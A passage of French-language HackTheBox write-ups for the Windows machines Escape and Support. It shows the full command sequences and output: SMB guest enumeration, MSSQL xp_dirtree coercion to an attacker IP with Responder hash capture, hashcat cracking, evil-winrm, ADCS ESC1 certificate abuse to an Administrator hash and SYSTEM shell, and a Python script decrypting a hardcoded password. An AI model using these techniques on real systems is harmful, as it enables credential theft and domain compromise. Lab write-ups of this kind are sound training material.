| Not valid after: 2074-01-05T23:03:57
| MD5: ee4cc647ebb2c23ef4721d7028809d82
| SHA-1: d88d12ae8a50fcf12242909e3dd75cff92d1a480
| -----BEGIN CERTIFICATE-----
| I1fLChrYFtPk3g5JHaHyIE9aY3EUmU3EH2SKhRSi5R6GJBctmw==
|_-----END CERTIFICATE-----
3269/tcp open ssl/ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel
| Issuer: commonName=sequel-DC-CA/domainComponent=sequel
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-01-18T23:03:57
| Not valid after: 2074-01-05T23:03:57
| MD5: ee4cc647ebb2c23ef4721d7028809d82
| SHA-1: d88d12ae8a50fcf12242909e3dd75cff92d1a480
| -----BEGIN CERTIFICATE-----
| MIIFkTCCBHmgAwIBAgITHgAAAAsyZYRdLEkTIgAAAAAACzANBgkqhkiG9w0BAQsF
| I1fLChrYFtPk3g5JHaHyIE9aY3EUmU3EH2SKhRSi5R6GJBctmw==
|_-----END CERTIFICATE-----
|_ssl-date: 2025-09-10T22:22:34+00:00; +7h59m59s from scanner time.
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf syn-ack ttl 127 .NET Message Framing
49667/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49687/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49688/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49706/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49709/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC

Host script results:
|_clock-skew: mean: 7h59m59s, deviation: 0s, median: 7h59m58s
| smb2-time:
| date: 2025-09-10T22:21:54
|_ start_date: N/A
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 63970/tcp): CLEAN (Timeout)
| Check 2 (port 24393/tcp): CLEAN (Timeout)
| Check 3 (port 50586/udp): CLEAN (Timeout)
| Check 4 (port 24268/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode:
| 311:
|_ Message signing enabled and required

Foothold

A l’aide de l’utilisateur guest et sans mot de passe, on réussi à lister les SMB SHARES. Le share Public est accessible en lecture.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


$ nxc smb 10.10.11.202 -u 'guest' -p '' --shares
SMB 10.10.11.202 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.202 445 DC [+] sequel.htb\guest:
SMB 10.10.11.202 445 DC [*] Enumerated shares
SMB 10.10.11.202 445 DC Share Permissions Remark
SMB 10.10.11.202 445 DC ----- ----------- ------
SMB 10.10.11.202 445 DC ADMIN$ Remote Admin
SMB 10.10.11.202 445 DC C$ Default share
SMB 10.10.11.202 445 DC IPC$ READ Remote IPC
SMB 10.10.11.202 445 DC NETLOGON Logon server share
SMB 10.10.11.202 445 DC Public READ
SMB 10.10.11.202 445 DC SYSVOL Logon server share

On trouve un fichier “SQL Server Procedures.pdf” dans le share Public à l’aide de l’utilisateur guest. J’utilise ici uniquement nxc pour extraire le fichier.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46


$ nxc smb 10.10.11.202 -u 'guest' -p '' -M spider_plus
SMB 10.10.11.202 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.202 445 DC [+] sequel.htb\guest:
SPIDER_PLUS 10.10.11.202 445 DC [*] Started module spidering_plus with the following options:
SPIDER_PLUS 10.10.11.202 445 DC [*] DOWNLOAD_FLAG: False
SPIDER_PLUS 10.10.11.202 445 DC [*] STATS_FLAG: True
SPIDER_PLUS 10.10.11.202 445 DC [*] EXCLUDE_FILTER: ['print$', 'ipc$']
SPIDER_PLUS 10.10.11.202 445 DC [*] EXCLUDE_EXTS: ['ico', 'lnk']
SPIDER_PLUS 10.10.11.202 445 DC [*] MAX_FILE_SIZE: 50 KB
SPIDER_PLUS 10.10.11.202 445 DC [*] OUTPUT_FOLDER: /root/.nxc/modules/nxc_spider_plus
SMB 10.10.11.202 445 DC [*] Enumerated shares
SMB 10.10.11.202 445 DC Share Permissions Remark
SMB 10.10.11.202 445 DC ----- ----------- ------
SMB 10.10.11.202 445 DC ADMIN$ Remote Admin
SMB 10.10.11.202 445 DC C$ Default share
SMB 10.10.11.202 445 DC IPC$ READ Remote IPC
SMB 10.10.11.202 445 DC NETLOGON Logon server share
SMB 10.10.11.202 445 DC Public READ
SMB 10.10.11.202 445 DC SYSVOL Logon server share
SPIDER_PLUS 10.10.11.202 445 DC [+] Saved share-file metadata to "/root/.nxc/modules/nxc_spider_plus/10.10.11.202.json".
SPIDER_PLUS 10.10.11.202 445 DC [*] SMB Shares: 6 (ADMIN$, C$, IPC$, NETLOGON, Public, SYSVOL)
SPIDER_PLUS 10.10.11.202 445 DC [*] SMB Readable Shares: 2 (IPC$, Public)
SPIDER_PLUS 10.10.11.202 445 DC [*] SMB Filtered Shares: 1
SPIDER_PLUS 10.10.11.202 445 DC [*] Total folders found: 0
SPIDER_PLUS 10.10.11.202 445 DC [*] Total files found: 1
SPIDER_PLUS 10.10.11.202 445 DC [*] File size average: 48.39 KB
SPIDER_PLUS 10.10.11.202 445 DC [*] File size min: 48.39 KB
SPIDER_PLUS 10.10.11.202 445 DC [*] File size max: 48.39 KB

$ cat /root/.nxc/modules/nxc_spider_plus/10.10.11.202.json
{
 "Public": {
 "SQL Server Procedures.pdf": {
 "atime_epoch": "2022-11-19 12:50:54",
 "ctime_epoch": "2022-11-17 20:47:32",
 "mtime_epoch": "2022-11-19 12:51:25",
 "size": "48.39 KB"
 }
 }
}

$ nxc smb 10.10.11.202 -u 'guest' -p '' --get-file "\\SQL Server Procedures.pdf" "SQL Server Procedures.pdf" --share Public
SMB 10.10.11.202 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.202 445 DC [+] sequel.htb\guest:
SMB 10.10.11.202 445 DC [*] Copying "\SQL Server Procedures.pdf" to "SQL Server Procedures.pdf"
SMB 10.10.11.202 445 DC [+] File "\SQL Server Procedures.pdf" was downloaded to "SQL Server Procedures.pdf"

Credentials for MSSQL

Le document “SQL Server Procedures.pdf” est une procedure pour se connecter à une instance de SQL Server.

Ce document fait mention de plusieurs utilisateurs : Ryan, Tom, brandon.brown.
On récupère même des credentials pour se connecter au serveur SQL :

PublicUser : GuestUserCantWrite1

1
2
3
4


Bonus
For new hired and those that are still waiting their users to be created and perms assigned, can sneak a peek at the Database with
user PublicUser and password GuestUserCantWrite1 .
Refer to the previous guidelines and make sure to switch the "Windows Authentication" to "SQL Server Authentication".

MSSQL : xp_dirtree and responder

En utilisant mssqlclient, on se connecte au sql server avec l’utilisateur récupéré.

On peut alors effectuer une requête avec la commande xp_dirtree afin d’effectuer une fausse requête pour énumerer un share sur notre ordinateur (IP de l’attaquant).
Dans le même temps on lance un responder qui se met en attente. L’idée est la commande est executé de manière authentifier avec l’utilisateur sql_svc, et le responder peut intercepter ses credentials.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


mssqlclient.py "DC"/"PublicUser":"GuestUserCantWrite1"@"10.10.11.202"
Impacket v0.13.0.dev0+20250107.155526.3d734075 - Copyright Fortra, LLC and its affiliated companies

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC\SQLMOCK): Line 1: Changed database context to 'master'.
[*] INFO(DC\SQLMOCK): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands

SQL (PublicUser guest@master)> xp_dirtree \\10.10.14.10\fake\file
subdirectory depth file
------------ ----- ----

Ici, on observe la reception du hachage du mot de passe de l’utilisateur sql_svc.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


$ responder -I tun0 -w -F
 __
 .----.-----.-----.-----.-----.-----.--| |.-----.----.
 | _| -__|__ --| _ | _ | | _ || -__| _|
 |__| |_____|_____| __|_____|__|__|_____||_____|__|
 |__|

 NBT-NS, LLMNR & MDNS Responder 3.1.5.0
...

[+] Listening for events...

[!] Error starting TCP server on port 53, check permissions or other servers running.
[SMB] NTLMv2-SSP Client : 10.10.11.202
[SMB] NTLMv2-SSP Username : sequel\sql_svc
[SMB] NTLMv2-SSP Hash : sql_svc::sequel:1122334455667788:0ED55C287EF37F6AD239ED0D6FE449A0:010100000000000000B9CE454A23DC018C349009419598CF000000000200080044004C005200500001001E00570049004E002D005A004A00320059004300360033004D0035003400480004003400570049004E002D005A004A00320059004300360033004D003500340048002E0044004C00520050002E004C004F00430041004C000300140044004C00520050002E004C004F00430041004C000500140044004C00520050002E004C004F00430041004C000700080000B9CE454A23DC0106000400020000000800300030000000000000000000000000300000051C4546D071DE4532ED8EA78B4BE4B4FB7296E7379A3F3F9319A487E526B2A10A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00310030000000000000000000

Hashcat : sql_svc password

On trouve le mot de passe de sql_svc à l’aide de hashcat et la liste rockyou.txt.

1
2


$ hashcat -m 5600 ./hash.txt ~/wordlists/rockyou.txt --show
SQL_SVC::sequel:112233.....0000000:REGGIE1234ronnie

ERRORLOG.BAK : Ryan.Cooper password

On peut alors se connecter au compte sql_svc avec evilwinrm et obtenir un powershell sur la machine :

1
2


$ evil-winrm -u 'sql_svc' -p 'REGGIE1234ronnie' -i "10.10.11.202"
...

On trouve le mot de passe de Ryan.cooper dans un fichier de logs de SQL Server : NuclearMosquito3

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27


*Evil-WinRM* PS C:\SQLServer\Logs> ls

 Directory: C:\SQLServer\Logs

Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 2/7/2023 8:06 AM 27608 ERRORLOG.BAK
*Evil-WinRM* PS C:\SQLServer\Logs> download "C:/SQLServer/Logs/ERRORLOG.BAK"

Warning: Remember that in docker environment all local paths should be at /data and it must be mapped correctly as a volume on docker run command

Info: Downloading C:/SQLServer/Logs/ERRORLOG.BAK to ERRORLOG.BAK

----------------------------------

$ cat ERRORLOG.BAK | grep -i pass
2022-11-18 13:43:06.75 spid18s Password policy update was successful.
2022-11-18 13:43:07.44 Logon Logon failed for user 'sequel.htb\Ryan.Cooper'. Reason: Password did not match that for the login provided. [CLIENT: 127.0.0.1]
2022-11-18 13:43:07.48 Logon Logon failed for user 'NuclearMosquito3'. Reason: Password did not match that for the login provided. [CLIENT: 127.0.0.1]

$ evil-winrm -u 'Ryan.Cooper' -p 'NuclearMosquito3' -i "10.10.11.202"

Evil-WinRM shell v3.7

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Ryan.Cooper\Documents> type "C:/Users/Ryan.Cooper/Desktop/user.txt"
d3b6.....cd0e

Privilege Escalation : ESC1 Template

When a certificate template allows to specify a subjectAltName, it is possible to request a certificate for another user. It can be used for privileges escalation if the EKU specifies Client Authentication or ANY.

Enumeration : certipy find

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76


$ certipy find -u 'Ryan.cooper' -p 'NuclearMosquito3' -dc-ip 10.10.11.202 -vulnerable -stdout
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'sequel-DC-CA' via CSRA
[!] Got error while trying to get CA configuration for 'sequel-DC-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'sequel-DC-CA' via RRP
[*] Got CA configuration for 'sequel-DC-CA'
[*] Enumeration output:
Certificate Authorities
 0
 CA Name : sequel-DC-CA
 DNS Name : dc.sequel.htb
 Certificate Subject : CN=sequel-DC-CA, DC=sequel, DC=htb
 Certificate Serial Number : 1EF2FA9A7E6EADAD4F5382F4CE283101
 Certificate Validity Start : 2022-11-18 20:58:46+00:00
 Certificate Validity End : 2121-11-18 21:08:46+00:00
 Web Enrollment : Disabled
 User Specified SAN : Disabled
 Request Disposition : Issue
 Enforce Encryption for Requests : Enabled
 Permissions
 Owner : SEQUEL.HTB\Administrators
 Access Rights
 ManageCertificates : SEQUEL.HTB\Administrators
 SEQUEL.HTB\Domain Admins
 SEQUEL.HTB\Enterprise Admins
 ManageCa : SEQUEL.HTB\Administrators
 SEQUEL.HTB\Domain Admins
 SEQUEL.HTB\Enterprise Admins
 Enroll : SEQUEL.HTB\Authenticated Users
Certificate Templates
 0
 Template Name : UserAuthentication
 Display Name : UserAuthentication
 Certificate Authorities : sequel-DC-CA
 Enabled : True
 Client Authentication : True
 Enrollment Agent : False
 Any Purpose : False
 Enrollee Supplies Subject : True
 Certificate Name Flag : EnrolleeSuppliesSubject
 Enrollment Flag : PublishToDs
 IncludeSymmetricAlgorithms
 Private Key Flag : ExportableKey
 Extended Key Usage : Client Authentication
 Secure Email
 Encrypting File System
 Requires Manager Approval : False
 Requires Key Archival : False
 Authorized Signatures Required : 0
 Validity Period : 10 years
 Renewal Period : 6 weeks
 Minimum RSA Key Length : 2048
 Permissions
 Enrollment Permissions
 Enrollment Rights : SEQUEL.HTB\Domain Admins
 SEQUEL.HTB\Domain Users
 SEQUEL.HTB\Enterprise Admins
 Object Control Permissions
 Owner : SEQUEL.HTB\Administrator
 Write Owner Principals : SEQUEL.HTB\Domain Admins
 SEQUEL.HTB\Enterprise Admins
 SEQUEL.HTB\Administrator
 Write Dacl Principals : SEQUEL.HTB\Domain Admins
 SEQUEL.HTB\Enterprise Admins
 SEQUEL.HTB\Administrator
 Write Property Principals : SEQUEL.HTB\Domain Admins
 SEQUEL.HTB\Enterprise Admins
 SEQUEL.HTB\Administrator
 [!] Vulnerabilities
 ESC1 : 'SEQUEL.HTB\\Domain Users' can enroll, enrollee supplies subject and template allows client authentication

Requesting a Malicious Certificate

On demande un certificat pour Administrator à travers le template vulnérable :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


$ certipy req -username "Ryan.cooper@sequel.htb" -p "NuclearMosquito3" -target 'dc.sequel.htb' -ca "sequel-DC-CA" -template "UserAuthentication" -upn "Administrator@sequel.htb" -debug
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[+] Trying to resolve 'dc.sequel.htb' at '127.0.0.53'
[+] Trying to resolve 'SEQUEL.HTB' at '127.0.0.53'
[+] Generating RSA key
[*] Requesting certificate via RPC
[+] Trying to connect to endpoint: ncacn_np:10.10.11.202[\pipe\cert]
[+] Connected to endpoint: ncacn_np:10.10.11.202[\pipe\cert]
[*] Successfully requested certificate
[*] Request ID is 17
[*] Got certificate with UPN 'Administrator@sequel.htb'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'

### Fixing Kerberos Clock Skew (KRB_AP_ERR_SKEW) L’attaque échoue d’abord à cause d’un décalage horaire (KRB_AP_ERR_SKEW).
En ajustant l’heure avec faketime et l’heure réelle du DC, le problème est corrigé.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


$ date
Fri Sep 12 12:03:10 AM CEST 2025

$ ntpdate -q 10.10.11.202
2025-09-12 08:20:53.85924 (+0200) +28800.935013 +/- 0.010303 10.10.11.202 s1 no-leap

$ certipy auth -pfx administrator.pfx
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@sequel.htb
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)

$ faketime "$(date +'%Y-%m-%d') $(net time -S 10.10.11.202 | awk '{print $4}')" zsh

$ date
Fri Sep 12 08:03:39 AM CEST 2025

$ ntpdate -q 10.10.11.202
2025-09-12 08:03:44.141842 (+0200) -0.075273 +/- 0.010154 10.10.11.202 s1 no-leap

Getting a TGT as Administrator

Avec le certificat généré, on obtient un TGT et le hash NT de l’Administrator :

1
2
3
4
5
6
7
8
9


$ certipy auth -pfx administrator.pfx
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@sequel.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@sequel.htb': aad3b435b51404eeaad3b435b51404ee:a52f78e4c751e5f5e17e1e9f3e58f4ee

Gaining Administrator Shell (psexec)

En utilisant le TGT et l’outil psexec.py, on obtient un shell en tant que nt authority\system :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17


$ export KRB5CCNAME="administrator.ccache"

$ psexec.py -k -no-pass sequel.htb/Administrator@dc.sequel.htb
Impacket v0.13.0.dev0+20250107.155526.3d734075 - Copyright Fortra, LLC and its affiliated companies

[*] Requesting shares on dc.sequel.htb.....
[*] Found writable share ADMIN$
[*] Uploading file zjPAtFqg.exe
[*] Opening SVCManager on dc.sequel.htb.....
[*] Creating service cbfM on dc.sequel.htb.....
[*] Starting service cbfM.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.2746]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
1991.....91d7

HTB | Support

Sun, 07 Sep 2025 00:00:00 +0000

Machine name	OS	IP	Difficulty
Support	Windows	10.10.11.174	Easy

Users

1
2


ldap : nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz
support : Ironside47pleasure40Watchful

System Info

1

Windows Server 2022 Build 20348 x64

Enumeration

nmap

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22


$ nmap -sC -sV -An -T4 -vvv -p- 10.10.11.174
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack ttl 127 Simple DNS Plus
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-09-07 16:43:36Z)
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds? syn-ack ttl 127
464/tcp open kpasswd5? syn-ack ttl 127
593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped syn-ack ttl 127
3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped syn-ack ttl 127
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf syn-ack ttl 127 .NET Message Framing
49664/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49667/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49674/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49678/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49702/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC

Foothold

Dumping Users using guest account

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


$ nxc smb 10.10.11.174 -u 'guest' -p ''
SMB 10.10.11.174 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:support.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.174 445 DC [+] support.htb\guest:

$ nxc smb 10.10.11.174 -u 'guest' -p '' --rid-brute | cut -d':' -f2 | cut -d'\' -f2 | grep TypeUser | cut -d' ' -f1 > users.txt
Administrator
Guest
krbtgt
DC$
ldap
support
smith.rosario
hernandez.stanley
...

Grâce au compte guest, on obtient un accès sur le share smb support-tools, qui nous permet notamment de récupérer un fichier intéressant : UserInfo.exe.zip

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78


$ nxc smb 10.10.11.174 -u 'guest' -p '' -M spider_plus

SMB 10.10.11.174 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:support.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.174 445 DC [+] support.htb\guest:
SPIDER_PLUS 10.10.11.174 445 DC [*] Started module spidering_plus with the following options:
SPIDER_PLUS 10.10.11.174 445 DC [*] DOWNLOAD_FLAG: False
SPIDER_PLUS 10.10.11.174 445 DC [*] STATS_FLAG: True
SPIDER_PLUS 10.10.11.174 445 DC [*] EXCLUDE_FILTER: ['print$', 'ipc$']
SPIDER_PLUS 10.10.11.174 445 DC [*] EXCLUDE_EXTS: ['ico', 'lnk']
SPIDER_PLUS 10.10.11.174 445 DC [*] MAX_FILE_SIZE: 50 KB
SPIDER_PLUS 10.10.11.174 445 DC [*] OUTPUT_FOLDER: /root/.nxc/modules/nxc_spider_plus
SMB 10.10.11.174 445 DC [*] Enumerated shares
SMB 10.10.11.174 445 DC Share Permissions Remark
SMB 10.10.11.174 445 DC ----- ----------- ------
SMB 10.10.11.174 445 DC ADMIN$ Remote Admin
SMB 10.10.11.174 445 DC C$ Default share
SMB 10.10.11.174 445 DC IPC$ READ Remote IPC
SMB 10.10.11.174 445 DC NETLOGON Logon server share
SMB 10.10.11.174 445 DC support-tools READ support staff tools
SMB 10.10.11.174 445 DC SYSVOL Logon server share
SPIDER_PLUS 10.10.11.174 445 DC [+] Saved share-file metadata to "/root/.nxc/modules/nxc_spider_plus/10.10.11.174.json".
SPIDER_PLUS 10.10.11.174 445 DC [*] SMB Shares: 6 (ADMIN$, C$, IPC$, NETLOGON, support-tools, SYSVOL)
SPIDER_PLUS 10.10.11.174 445 DC [*] SMB Readable Shares: 2 (IPC$, support-tools)
SPIDER_PLUS 10.10.11.174 445 DC [*] SMB Filtered Shares: 1
SPIDER_PLUS 10.10.11.174 445 DC [*] Total folders found: 0
SPIDER_PLUS 10.10.11.174 445 DC [*] Total files found: 7
SPIDER_PLUS 10.10.11.174 445 DC [*] File size average: 13.96 MB
SPIDER_PLUS 10.10.11.174 445 DC [*] File size min: 77.32 KB
SPIDER_PLUS 10.10.11.174 445 DC [*] File size max: 45.87 MB

$ cat /root/.nxc/modules/nxc_spider_plus/10.10.11.174.json

{
 "support-tools": {
 "7-ZipPortable_21.07.paf.exe": {
 "atime_epoch": "2022-05-28 13:19:19",
 "ctime_epoch": "2022-05-28 13:19:19",
 "mtime_epoch": "2022-05-28 13:19:19",
 "size": "2.75 MB"
 },
 "UserInfo.exe.zip": {
 "atime_epoch": "2022-05-28 13:19:31",
 "ctime_epoch": "2022-05-28 13:19:31",
 "mtime_epoch": "2022-05-28 13:19:31",
 "size": "45.87 MB"
 },
 "UserInfo.exe.zip": {
 "atime_epoch": "2022-07-20 19:01:07",
 "ctime_epoch": "2022-07-20 19:01:06",
 "mtime_epoch": "2022-07-20 19:01:07",
 "size": "271 KB"
 },
 "WiresharkPortable64_3.6.5.paf.exe": {
 "atime_epoch": "2022-05-28 13:19:43",
 "ctime_epoch": "2022-05-28 13:19:43",
 "mtime_epoch": "2022-05-28 13:19:43",
 "size": "42.34 MB"
 },
 "npp.8.4.1.portable.x64.zip": {
 "atime_epoch": "2022-05-28 13:19:55",
 "ctime_epoch": "2022-05-28 13:19:55",
 "mtime_epoch": "2022-05-28 13:19:55",
 "size": "5.19 MB"
 },
 "putty.exe": {
 "atime_epoch": "2022-05-28 13:20:06",
 "ctime_epoch": "2022-05-28 13:20:06",
 "mtime_epoch": "2022-05-28 13:20:06",
 "size": "1.21 MB"
 },
 "windirstat1_1_2_setup.exe": {
 "atime_epoch": "2022-05-28 13:20:17",
 "ctime_epoch": "2022-05-28 13:20:17",
 "mtime_epoch": "2022-05-28 13:20:17",
 "size": "77.32 KB"
 }
 }
}

UserInfo.exe.zip : .NET executable

1
2
3
4
5


$ nxc smb 10.10.11.174 -u 'guest' -p '' --get-file \\UserInfo.exe.zip UserInfo.exe.zip --share support-tools
SMB 10.10.11.174 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:support.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.174 445 DC [+] support.htb\guest:
SMB 10.10.11.174 445 DC [*] Copying "\UserInfo.exe.zip" to "UserInfo.exe.zip"
SMB 10.10.11.174 445 DC [+] File "\UserInfo.exe.zip" was downloaded to "UserInfo.exe.zip"

Ce zip contient un binaire cutom UserInfo.exe. En décompilant le binaire, on découvre une string ressemblant à un mot de passe chiffré ainsi qu’une clé :

“0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E”
“armando”

Une fonction getPassword semble déchiffrer cette string à l’aide de la clé en effectuant une manipulation.

Grâce à ChatGPT, j’ai pu comprendre comment fonctionnait le code et il m’a généré un code Python équivalent au code .NET ce qui m’a permis de récupérer le mot de passe :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


import base64

enc_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E"
key = b"armando"

# Base64 decode
enc_bytes = base64.b64decode(enc_password)

dec_bytes = bytearray()
for i, b in enumerate(enc_bytes):
 k = key[i % len(key)]
 dec_bytes.append(b ^ k ^ 0xDF)

password = dec_bytes.decode("utf-8", errors="ignore")
print(password)

En executant le python, on trouve le mot de passe :

ldap : nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz

C’est très intéressant car une autre méthode attendue était d’executer le programme et d’effectuer des requête ldap authentifiées avec le compte utilisateur “ldap”. Il suffisait de lancer wireshark et d’analyser le trafic réseau afin de récupérer le mot de passe !

Bien sûr, le jour de l’OSCP il n’y aura pas de chatBot autorisé donc il faut prioriser la seconde méthode, à moins que vous ayez un très bon décompilateur de code .NET.

Rusthound / Bloodhound : “support” account

On execute rusthound afin d’extraire les informations du compte ldap, puis on fait une analyse sur bloodhound. On trouve le compte support qui semble être très intéressant car il existe une route permettant à cet utilisateur de prendre la main sur le DC :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25


$ rusthound -d support.htb -u "ldap"@"support.htb" -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -o /workspace/Support/bloodhound_data --zip -n 10.10.11.174
---------------------------------------------------
Initializing RustHound at 23:06:53 on 09/09/25
Powered by g0h4n from OpenCyber
---------------------------------------------------

[2025-09-09T21:06:53Z INFO rusthound] Verbosity level: Info
[2025-09-09T21:06:53Z INFO rusthound::ldap] Connected to SUPPORT.HTB Active Directory!
[2025-09-09T21:06:53Z INFO rusthound::ldap] Starting data collection...
[2025-09-09T21:06:54Z INFO rusthound::ldap] All data collected for NamingContext DC=support,DC=htb
[2025-09-09T21:06:54Z INFO rusthound::json::parser] Starting the LDAP objects parsing...
[2025-09-09T21:06:54Z INFO rusthound::json::parser::bh_41] MachineAccountQuota: 10
[2025-09-09T21:06:54Z INFO rusthound::json::parser] Parsing LDAP objects finished!
[2025-09-09T21:06:54Z INFO rusthound::json::checker] Starting checker to replace some values...
[2025-09-09T21:06:54Z INFO rusthound::json::checker] Checking and replacing some values finished!
[2025-09-09T21:06:54Z INFO rusthound::json::maker] 21 users parsed!
[2025-09-09T21:06:54Z INFO rusthound::json::maker] 61 groups parsed!
[2025-09-09T21:06:54Z INFO rusthound::json::maker] 2 computers parsed!
[2025-09-09T21:06:54Z INFO rusthound::json::maker] 1 ous parsed!
[2025-09-09T21:06:54Z INFO rusthound::json::maker] 1 domains parsed!
[2025-09-09T21:06:54Z INFO rusthound::json::maker] 2 gpos parsed!
[2025-09-09T21:06:54Z INFO rusthound::json::maker] 21 containers parsed!
[2025-09-09T21:06:54Z INFO rusthound::json::maker] /workspace/Support/bloodhound_data/20250909230654_support-htb_rusthound.zip created!

RustHound Enumeration Completed at 23:06:54 on 09/09/25! Happy Graphing!

On remarque que le compte support fait parti du groupe SHARED SUPPORT ACCOUNTS, qui a le droit GENERIC ALL sur le DC.

Cependant, on ne trouve a aucun moyen de récupérer le compte support.

ldapsearch : support’s password

En analysant les données de l’Active Directory directement avec ldapsearch, on observe un champs “info” qu’on ne pouvait pas voir sur bloodhound. Il contient… le mot de passe de l’utilisateur support :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
